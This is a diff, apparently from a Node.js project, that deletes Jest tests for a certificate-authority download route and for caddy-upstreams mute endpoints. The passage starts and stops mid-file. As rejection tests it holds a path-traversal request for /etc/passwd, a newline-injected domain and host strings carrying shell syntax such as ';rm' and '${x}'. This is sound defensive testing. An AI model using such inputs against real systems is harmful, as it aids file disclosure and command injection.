const noPw = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=pfx');
|
|
||||||
expect(noPw.status).toBe(400);
|
|
||||||
expect(noPw.body.code).toBe('DC-076_PASSWORD_REQUIRED');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('short password (< 8 chars) -> 400 DC-076_PASSWORD_INVALID', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=pfx&password=short');
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('DC-076_PASSWORD_INVALID');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('password with `=` -> 400 DC-076_PASSWORD_INVALID', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=pfx&password=abcdefgh=');
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('DC-076_PASSWORD_INVALID');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('password with disallowed char (e.g. `/`) -> 400', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=pfx&password=abc/12345');
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('DC-076_PASSWORD_INVALID');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-PFX format (key) does NOT require a password (regression for PFX-only password logic)', async () => {
|
|
||||||
// The point of this test is to prove that the new DC-076 password
|
|
||||||
// gate only fires for PFX. Other formats (key, pem, crt, fullchain)
|
|
||||||
// must not 400 on missing-password.
|
|
||||||
//
|
|
||||||
// We can't easily test the 200 happy path here because the route
|
|
||||||
// calls `openssl x509 -in server.crt -noout -dates` to check cert
|
|
||||||
// expiry, and a fake server.crt makes that fall through to cert
|
|
||||||
// regeneration (which calls real openssl and writes real certs to
|
|
||||||
// the real platformPaths.generatedCertsDir — not what we want in a
|
|
||||||
// unit test). Instead, we assert that the route does NOT 400 with
|
|
||||||
// the password-required shape. We use /format=crt which has the
|
|
||||||
// simplest validation path.
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
// No password supplied; format=crt. Should NOT 400 with
|
|
||||||
// DC-076_PASSWORD_REQUIRED (that's only for PFX).
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.sami?format=crt');
|
|
||||||
if (res.status === 400 && res.body.code === 'DC-076_PASSWORD_REQUIRED') {
|
|
||||||
throw new Error('non-PFX format wrongly required a password: ' + JSON.stringify(res.body));
|
|
||||||
}
|
|
||||||
// The actual response could be 200 (cert served) or 500 (cert files
|
|
||||||
// missing in test env, or openssl error from fake data) — both
|
|
||||||
// are acceptable; what matters is NOT 400 DC-076_PASSWORD_REQUIRED.
|
|
||||||
expect(res.status).not.toBe(400);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('regression: `format` is declared before the dispatch block', () => {
|
|
||||||
// The handler referenced `format` five times in the pfx/pem/crt/key/
|
|
||||||
// fullchain dispatch without ever declaring it — every request that
|
|
||||||
// reached that far threw ReferenceError. The behavioral tests above
|
|
||||||
// can't reach the dispatch (PKI files absent in the test env returns
|
|
||||||
// 500 first), so pin the declaration at the source level instead.
|
|
||||||
test('routes/ca.js declares `format` before dispatch', () => {
|
|
||||||
const src = fs.readFileSync(
|
|
||||||
path.join(__dirname, '../../routes/ca.js'), 'utf8');
|
|
||||||
// Declaration derives from req.query.format (via rawFormat) and the
|
|
||||||
// canonical format list drives validation.
|
|
||||||
expect(src).toMatch(/const\s+rawFormat\s*=\s*req\.query\.format/);
|
|
||||||
expect(src).toMatch(/const\s+format\s*=\s*rawFormat\s*\|\|\s*'pfx'/);
|
|
||||||
expect(src).toMatch(/CA_CERT_FORMATS\s*=\s*\[.*'pfx'.*'fullchain'.*\]/s);
|
|
||||||
// And the declaration must come before the first dispatch use.
|
|
||||||
const declIdx = src.search(/const\s+format\s*=/);
|
|
||||||
const useIdx = src.indexOf("if (format === 'pfx')");
|
|
||||||
expect(declIdx).toBeGreaterThanOrEqual(0);
|
|
||||||
expect(useIdx).toBeGreaterThan(declIdx);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('/cert/:domain — format validation (DC-076_FORMAT_INVALID)', () => {
|
|
||||||
// These validations run before the PKI file check, so they are
|
|
||||||
// reachable in the test environment (unlike the dispatch itself).
|
|
||||||
test('rejects unknown format value', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.local?format=garbage');
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('DC-076_FORMAT_INVALID');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects empty format value', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.local?format=');
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('DC-076_FORMAT_INVALID');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects array format (?format=a&format=b)', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1.local?format=pem&format=crt');
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('DC-076_FORMAT_INVALID');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts every documented format (validation passes; PKI 500 is fine)', async () => {
|
|
||||||
for (const fmt of ['pfx', 'pem', 'crt', 'key', 'fullchain']) {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const qs = fmt === 'pfx' ? `format=pfx&password=GoodPass12` : `format=${fmt}`;
|
|
||||||
const res = await request(app).get(`/ca/cert/dns1.local?${qs}`);
|
|
||||||
// Must NOT be a format rejection — anything else (e.g. 500 CA not
|
|
||||||
// found in the test env) proves validation accepted the format.
|
|
||||||
expect(res.body.code).not.toBe('DC-076_FORMAT_INVALID');
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('/cert/:domain — domain validation', () => {
|
|
||||||
test('rejects single-label domain (no dot)', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/dns1?format=key');
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('DC-076_DOMAIN_INVALID');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects domain with `..` (path traversal)', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/..%2Fetc%2Fpasswd?format=key');
|
|
||||||
// Express decodes %2F in the path -> /ca/cert/../etc/passwd
|
|
||||||
// The new regex `^[a-z0-9]...` rejects this entirely.
|
|
||||||
expect([400, 404]).toContain(res.status);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects domain with control char (\\n)', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/evil%0A.com?format=key');
|
|
||||||
expect([400, 404]).toContain(res.status);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects uppercase domain (must be lowercase per the new regex)', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app)
|
|
||||||
.get('/ca/cert/DNS1.SAMI?format=key');
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.code).toBe('DC-076_DOMAIN_INVALID');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('/cert/:domain — rate limit', () => {
|
|
||||||
test('first 10 requests in 60s succeed (or fail non-rate-limit), 11th returns 429', async () => {
|
|
||||||
// 10 requests should all NOT be 429 (the rate-limit counter is
|
|
||||||
// reset per module load, so each test starts fresh).
|
|
||||||
for (let i = 0; i < 10; i++) {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const r = await request(app).get('/ca/cert/dns1.sami?format=key');
|
|
||||||
expect(r.status).not.toBe(429);
|
|
||||||
}
|
|
||||||
// 11th MUST be 429 (the rate limit is in-module state; only the
|
|
||||||
// last test's app shares state with itself, so we use the same
|
|
||||||
// app for the 11th request).
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
// First 10
|
|
||||||
for (let i = 0; i < 10; i++) {
|
|
||||||
await request(app).get('/ca/cert/dns1.sami?format=key');
|
|
||||||
}
|
|
||||||
const over = await request(app).get('/ca/cert/dns1.sami?format=key');
|
|
||||||
expect(over.status).toBe(429);
|
|
||||||
expect(over.body.code).toBe('DC-076_RATE_LIMITED');
|
|
||||||
expect(over.headers['retry-after']).toMatch(/^\d+$/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('/certs — list endpoint requires admin scope', () => {
|
|
||||||
test('no admin scope -> 403', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['read'] });
|
|
||||||
const res = await request(app).get('/ca/certs');
|
|
||||||
expect(res.status).toBe(403);
|
|
||||||
});
|
|
||||||
test('admin scope -> 200', async () => {
|
|
||||||
const { app } = createCaApp({ scope: ['admin'] });
|
|
||||||
const res = await request(app).get('/ca/certs');
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('static /root.crt and /info remain public (CA cert IS public)', () => {
|
|
||||||
test('GET /ca/root.crt does not require admin scope', async () => {
|
|
||||||
const { app } = createCaApp({ scope: [] });
|
|
||||||
const res = await request(app).get('/ca/root.crt');
|
|
||||||
// 200 if the file is there, 404 if not — but NEVER 403
|
|
||||||
expect([200, 404]).toContain(res.status);
|
|
||||||
});
|
|
||||||
test('GET /ca/info does not require admin scope', async () => {
|
|
||||||
const { app } = createCaApp({ scope: [] });
|
|
||||||
const res = await request(app).get('/ca/info');
|
|
||||||
// 200 if cert-info.json is there, 404 if not — but NEVER 403
|
|
||||||
expect([200, 404]).toContain(res.status);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,272 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-073: regression tests for the caddy-upstreams mute endpoints.
|
|
||||||
*
|
|
||||||
* Pre-fix, only the bare `/caddy/upstreams/mute` body-style endpoint
|
|
||||||
* rejected unknown hosts with a 400 "not a known upstream". The
|
|
||||||
* path-style `/:host/mute` and `/:host/unmute` endpoints skipped that
|
|
||||||
* check entirely and would silently call `setMuted(phantom, true)`,
|
|
||||||
* persisting a phantom entry into the watcher's muted Set (which is
|
|
||||||
* disk-persisted via `_saveState()`).
|
|
||||||
*
|
|
||||||
* These tests prove:
|
|
||||||
* (1) every endpoint now rejects an unknown host with 400
|
|
||||||
* (2) the rejection happens BEFORE setMuted is invoked (no state
|
|
||||||
* corruption — `fakeWatcher.setMuted` is asserted to be
|
|
||||||
* untouched on the rejection path)
|
|
||||||
* (3) the rejection message is the canonical "not a known upstream"
|
|
||||||
* so callers can branch on it
|
|
||||||
* (4) known hosts still mute / unmute correctly (no regression)
|
|
||||||
* (5) the bare handler still accepts the body { host, muted: 'false' }
|
|
||||||
* string-coercion quirk it had before (so the original
|
|
||||||
* caddy-upstreams.routes.test.js suite keeps passing)
|
|
||||||
*
|
|
||||||
* @module __tests__/routes/caddy-upstreams-dc073
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const { validateAndMuteHost } = require('../../routes/caddy-upstreams').__test;
|
|
||||||
|
|
||||||
function buildRouter(deps) {
|
|
||||||
const mod = require('../../routes/caddy-upstreams');
|
|
||||||
return mod(deps);
|
|
||||||
}
|
|
||||||
|
|
||||||
function buildApp(mod_deps) {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use((req, res, next) => {
|
|
||||||
res.success = (data) => res.json({ success: true, ...data });
|
|
||||||
res.errorResponse = (msg, code) => res.status(code || 500).json({ success: false, error: msg });
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
app.use(buildRouter({
|
|
||||||
asyncHandler: (fn, _ctx) => async (req, res, next) => {
|
|
||||||
try { await fn(req, res, next); } catch (e) { next(e); }
|
|
||||||
},
|
|
||||||
...mod_deps,
|
|
||||||
}));
|
|
||||||
// Error middleware MUST be registered AFTER routes so it actually catches.
|
|
||||||
app.use((err, req, res, next) => {
|
|
||||||
if (err && err.statusCode === 400) {
|
|
||||||
return res.status(400).json({ success: false, error: err.message });
|
|
||||||
}
|
|
||||||
return res.status(err?.statusCode || 500).json({ success: false, error: err?.message || 'unknown' });
|
|
||||||
});
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
function makeKnownWatcher(known = ['known.svc.example:80', '1.1.1.1:80']) {
|
|
||||||
const upstreams = new Map(known.map(h => [h, { host: h }]));
|
|
||||||
return {
|
|
||||||
upstreams,
|
|
||||||
setMuted: jest.fn((host, muted) => ({ host, muted: !!muted })),
|
|
||||||
snapshot: jest.fn(() => ({ upstreams: [], config: {} })),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('routes/caddy-upstreams — DC-073 phantom-mute regression', () => {
|
|
||||||
describe('validateAndMuteHost helper (unit)', () => {
|
|
||||||
test('rejects empty / non-string host', () => {
|
|
||||||
const w = makeKnownWatcher();
|
|
||||||
expect(() => validateAndMuteHost(w, '', true)).toThrow(/non-empty string/);
|
|
||||||
expect(() => validateAndMuteHost(w, null, true)).toThrow(/non-empty string/);
|
|
||||||
expect(() => validateAndMuteHost(w, undefined, true)).toThrow(/non-empty string/);
|
|
||||||
expect(() => validateAndMuteHost(w, 12345, true)).toThrow(/non-empty string/);
|
|
||||||
expect(w.setMuted).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects host longer than 253 chars', () => {
|
|
||||||
const w = makeKnownWatcher();
|
|
||||||
const long = 'a'.repeat(254);
|
|
||||||
expect(() => validateAndMuteHost(w, long, true)).toThrow(/non-empty string/);
|
|
||||||
expect(w.setMuted).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects host with charset-violating chars', () => {
|
|
||||||
const w = makeKnownWatcher();
|
|
||||||
for (const bad of ['host name', 'host?', 'host/abc', 'host;rm', 'host${x}', 'host<>']) {
|
|
||||||
expect(() => validateAndMuteHost(w, bad, true)).toThrow(/valid host/);
|
|
||||||
}
|
|
||||||
expect(w.setMuted).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects host not in watcher.upstreams (phantom-mute vector)', () => {
|
|
||||||
const w = makeKnownWatcher(['known:80']);
|
|
||||||
// This is the regression: pre-fix, this call would have
|
|
||||||
// silently added 'phantom.test:12345' to watcher.muted.
|
|
||||||
expect(() => validateAndMuteHost(w, 'phantom.test:12345', true))
|
|
||||||
.toThrow(/not a known upstream/);
|
|
||||||
expect(w.setMuted).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('accepts a known host and forwards setMuted(host, wantMuted)', () => {
|
|
||||||
const w = makeKnownWatcher(['known:80']);
|
|
||||||
const result = validateAndMuteHost(w, 'known:80', true);
|
|
||||||
expect(w.setMuted).toHaveBeenCalledWith('known:80', true);
|
|
||||||
expect(result).toEqual({ host: 'known:80', muted: true });
|
|
||||||
|
|
||||||
w.setMuted.mockClear();
|
|
||||||
const result2 = validateAndMuteHost(w, 'known:80', false);
|
|
||||||
expect(w.setMuted).toHaveBeenCalledWith('known:80', false);
|
|
||||||
expect(result2).toEqual({ host: 'known:80', muted: false });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('handles missing watcher / upstreams map (defensive)', () => {
|
|
||||||
expect(() => validateAndMuteHost(null, 'x:80', true)).toThrow(/not a known upstream/);
|
|
||||||
expect(() => validateAndMuteHost({}, 'x:80', true)).toThrow(/not a known upstream/);
|
|
||||||
expect(() => validateAndMuteHost({ upstreams: null }, 'x:80', true)).toThrow(/not a known upstream/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('POST /caddy/upstreams/mute (bare body-style)', () => {
|
|
||||||
test('rejects unknown host with 400 (was already correct, regression-proof)', async () => {
|
|
||||||
const w = makeKnownWatcher(['known:80']);
|
|
||||||
const app = buildApp({ caddyUpstreamWatcher: w, healthChecker: { incidents: [] } });
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/mute`, {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json' },
|
|
||||||
body: JSON.stringify({ host: 'phantom:12345' }),
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(body.error).toMatch(/not a known upstream/);
|
|
||||||
expect(w.setMuted).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('muted: "false" string still coerces to unmute (regression from caddy-upstreams.routes.test.js)', async () => {
|
|
||||||
const w = makeKnownWatcher(['known:80']);
|
|
||||||
const app = buildApp({ caddyUpstreamWatcher: w, healthChecker: { incidents: [] } });
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/mute`, {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json' },
|
|
||||||
body: JSON.stringify({ host: 'known:80', muted: 'false' }),
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(w.setMuted).toHaveBeenCalledWith('known:80', false);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('POST /caddy/upstreams/:host/mute (path-style) — DC-073 main fix', () => {
|
|
||||||
test('rejects unknown host with 400 instead of silent phantom-mute', async () => {
|
|
||||||
const w = makeKnownWatcher(['known:80']);
|
|
||||||
const app = buildApp({ caddyUpstreamWatcher: w, healthChecker: { incidents: [] } });
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
// Pre-fix this would have silently added 'phantom.test:12345' to
|
|
||||||
// the watcher's muted Set and called _saveState(). Post-fix it
|
|
||||||
// returns 400 and never touches the watcher.
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/phantom.test:12345/mute`, {
|
|
||||||
method: 'POST',
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(body.error).toMatch(/not a known upstream/);
|
|
||||||
expect(w.setMuted).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('mutes a known host via bare POST (no body)', async () => {
|
|
||||||
const w = makeKnownWatcher(['known.svc.example:80']);
|
|
||||||
const app = buildApp({ caddyUpstreamWatcher: w, healthChecker: { incidents: [] } });
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/known.svc.example:80/mute`, {
|
|
||||||
method: 'POST',
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(w.setMuted).toHaveBeenCalledWith('known.svc.example:80', true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('mutes via ?muted=true query', async () => {
|
|
||||||
const w = makeKnownWatcher(['known.svc.example:80']);
|
|
||||||
const app = buildApp({ caddyUpstreamWatcher: w, healthChecker: { incidents: [] } });
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/known.svc.example:80/mute?muted=true`, {
|
|
||||||
method: 'POST',
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(w.setMuted).toHaveBeenCalledWith('known.svc.example:80', true);
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('unmutes via body { muted: false }', async () => {
|
|
||||||
const w = makeKnownWatcher(['known.svc.example:80']);
|
|
||||||
const app = buildApp({ caddyUpstreamWatcher: w, healthChecker: { incidents: [] } });
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/known.svc.example:80/mute`, {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json' },
|
|
||||||
body: JSON.stringify({ muted: false }),
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(w.setMuted).toHaveBeenCalledWith('known.svc.example:80', false);
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('POST /caddy/upstreams/:host/unmute (path-style) — DC-073 main fix', () => {
|
|
||||||
test('rejects unknown host with 400 instead of silent phantom-unmute', async () => {
|
|
||||||
const w = makeKnownWatcher(['known:80']);
|
|
||||||
const app = buildApp({ caddyUpstreamWatcher: w, healthChecker: { incidents: [] } });
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/phantom.test:12345/unmute`, {
|
|
||||||
method: 'POST',
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(body.error).toMatch(/not a known upstream/);
|
|
||||||
expect(w.setMuted).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('unmutes a known host', async () => {
|
|
||||||
const w = makeKnownWatcher(['known.svc.example:80']);
|
|
||||||
const app = buildApp({ caddyUpstreamWatcher: w, healthChecker: { incidents: [] } });
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/known.svc.example:80/unmute`, {
|
|
||||||
method: 'POST',
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(w.setMuted).toHaveBeenCalledWith('known.svc.example:80', false);
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('router introspection (DC-057-style mount-count assertion)', () => {
|
|
||||||
test('exactly one POST handler per (method,path) — no duplicate registration', () => {
|
|
||||||
const w = makeKnownWatcher();
|
|
||||||
const router = buildRouter({
|
|
||||||
asyncHandler: (fn) => fn,
|
|
||||||
caddyUpstreamWatcher: w,
|
|
||||||
healthChecker: { incidents: [] },
|
|
||||||
});
|
|
||||||
const sigs = router.stack
|
|
||||||
.filter((l) => l.route)
|
|
||||||
.map((l) => Object.keys(l.route.methods).map((m) => `${m.toUpperCase()} ${l.route.path}`))
|
|
||||||
.flat();
|
|
||||||
// Each (method,path) should appear exactly once
|
|
||||||
const counts = sigs.reduce((m, s) => (m[s] = (m[s] || 0) + 1, m), {});
|
|
||||||
for (const [sig, n] of Object.entries(counts)) {
|
|
||||||
expect({ sig, n }).toEqual({ sig, n: 1 });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,132 +0,0 @@
|
|||||||
/**
|
|
||||||
* Smoke tests for the caddy-upstreams router.
|
|
||||||
*
|
|
||||||
* No jest.mock('fs') here — the route module needs a real express
|
|
||||||
* context to load, and the watcher logic is tested separately in
|
|
||||||
* caddy-upstream-watcher.test.js.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
|
|
||||||
describe('routes/caddy-upstreams', () => {
|
|
||||||
test('router builds with all expected paths and handlers', () => {
|
|
||||||
const mod = require('../../routes/caddy-upstreams');
|
|
||||||
const fakeWatcher = {
|
|
||||||
snapshot: jest.fn(() => ({ upstreams: [], config: {} }))
|
|
||||||
};
|
|
||||||
const fakeHealthChecker = { incidents: [] };
|
|
||||||
|
|
||||||
const router = mod({
|
|
||||||
asyncHandler: (fn) => fn,
|
|
||||||
caddyUpstreamWatcher: fakeWatcher,
|
|
||||||
healthChecker: fakeHealthChecker
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(router).toBeDefined();
|
|
||||||
expect(typeof router.use).toBe('function');
|
|
||||||
|
|
||||||
const paths = router.stack
|
|
||||||
.filter((l) => l.route)
|
|
||||||
.map((l) => Object.keys(l.route.methods).map((m) => `${m.toUpperCase()} ${l.route.path}`))
|
|
||||||
.flat();
|
|
||||||
|
|
||||||
expect(paths).toEqual(expect.arrayContaining([
|
|
||||||
'GET /caddy/upstreams',
|
|
||||||
'GET /caddy/upstreams/incidents',
|
|
||||||
'POST /caddy/upstreams/mute',
|
|
||||||
'POST /caddy/upstreams/:host/mute',
|
|
||||||
'POST /caddy/upstreams/:host/unmute'
|
|
||||||
]));
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /caddy/upstreams responds with watcher snapshot', async () => {
|
|
||||||
const mod = require('../../routes/caddy-upstreams');
|
|
||||||
const fakeSnapshot = { upstreams: [{ host: '1.1.1.1:80', status: 'up', muted: false }], config: {} };
|
|
||||||
const fakeWatcher = { snapshot: jest.fn(() => fakeSnapshot) };
|
|
||||||
const fakeHealthChecker = { incidents: [] };
|
|
||||||
|
|
||||||
// Build a tiny express app with the route + a shim success/error responder.
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use((req, res, next) => {
|
|
||||||
res.success = (data) => res.json({ success: true, ...data });
|
|
||||||
res.errorResponse = (msg, code) => res.status(code || 500).json({ success: false, error: msg });
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
app.use(mod({
|
|
||||||
asyncHandler: (fn, _ctx) => async (req, res, next) => {
|
|
||||||
try { await fn(req, res, next); } catch (e) { next(e); }
|
|
||||||
},
|
|
||||||
caddyUpstreamWatcher: fakeWatcher,
|
|
||||||
healthChecker: fakeHealthChecker
|
|
||||||
}));
|
|
||||||
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(body.upstreams).toEqual(fakeSnapshot.upstreams);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('POST /caddy/upstreams/mute with body {host, muted:"false"} does NOT mute (string coercion)', async () => {
|
|
||||||
// Regression: bare route previously used `muted !== false` which muted
|
|
||||||
// when muted was a string 'false' (because 'false' !== false). Fix
|
|
||||||
// requires explicit `muted === false` to unmute.
|
|
||||||
const mod = require('../../routes/caddy-upstreams');
|
|
||||||
const fakeSnapshot = { upstreams: [], config: {} };
|
|
||||||
const fakeWatcher = {
|
|
||||||
snapshot: jest.fn(() => fakeSnapshot),
|
|
||||||
upstreams: new Map([['known:80', { host: 'known:80' }]]),
|
|
||||||
setMuted: jest.fn(() => ({ host: 'known:80', muted: false }))
|
|
||||||
};
|
|
||||||
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use((req, res, next) => {
|
|
||||||
res.success = (data) => res.json({ success: true, ...data });
|
|
||||||
res.errorResponse = (msg, code) => res.status(code || 500).json({ success: false, error: msg });
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
app.use(mod({
|
|
||||||
asyncHandler: (fn, _ctx) => async (req, res, next) => {
|
|
||||||
try { await fn(req, res, next); } catch (e) { next(e); }
|
|
||||||
},
|
|
||||||
caddyUpstreamWatcher: fakeWatcher,
|
|
||||||
healthChecker: { incidents: [] }
|
|
||||||
}));
|
|
||||||
// Error middleware MUST be registered AFTER routes so it actually catches.
|
|
||||||
app.use((err, req, res, next) => {
|
|
||||||
if (err && err.statusCode === 400) {
|
|
||||||
return res.status(400).json({ success: false, error: err.message });
|
|
||||||
}
|
|
||||||
return res.status(err?.statusCode || 500).json({ success: false, error: err?.message || 'unknown' });
|
|
||||||
});
|
|
||||||
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
|
|
||||||
// String 'false' should NOT mute (should unmute or pass through)
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/mute`, {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json' },
|
|
||||||
body: JSON.stringify({ host: 'known:80', muted: 'false' })
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
expect(fakeWatcher.setMuted).toHaveBeenCalledWith('known:80', false);
|
|
||||||
|
|
||||||
// Unknown host should 400
|
|
||||||
fakeWatcher.setMuted.mockClear();
|
|
||||||
const res2 = await fetch(`http://127.0.0.1:${port}/caddy/upstreams/mute`, {
|
|
||||||
method: 'POST',
|
|
||||||
headers: { 'Content-Type': 'application/json' },
|
|
||||||
body: JSON.stringify({ host: 'not-a-real-host:80' })
|
|
||||||
});
|
|
||||||
const body2 = await res2.json();
|
|
||||||
server.close();
|
|
||||||
expect(res2.status).toBe(400);
|
|
||||||
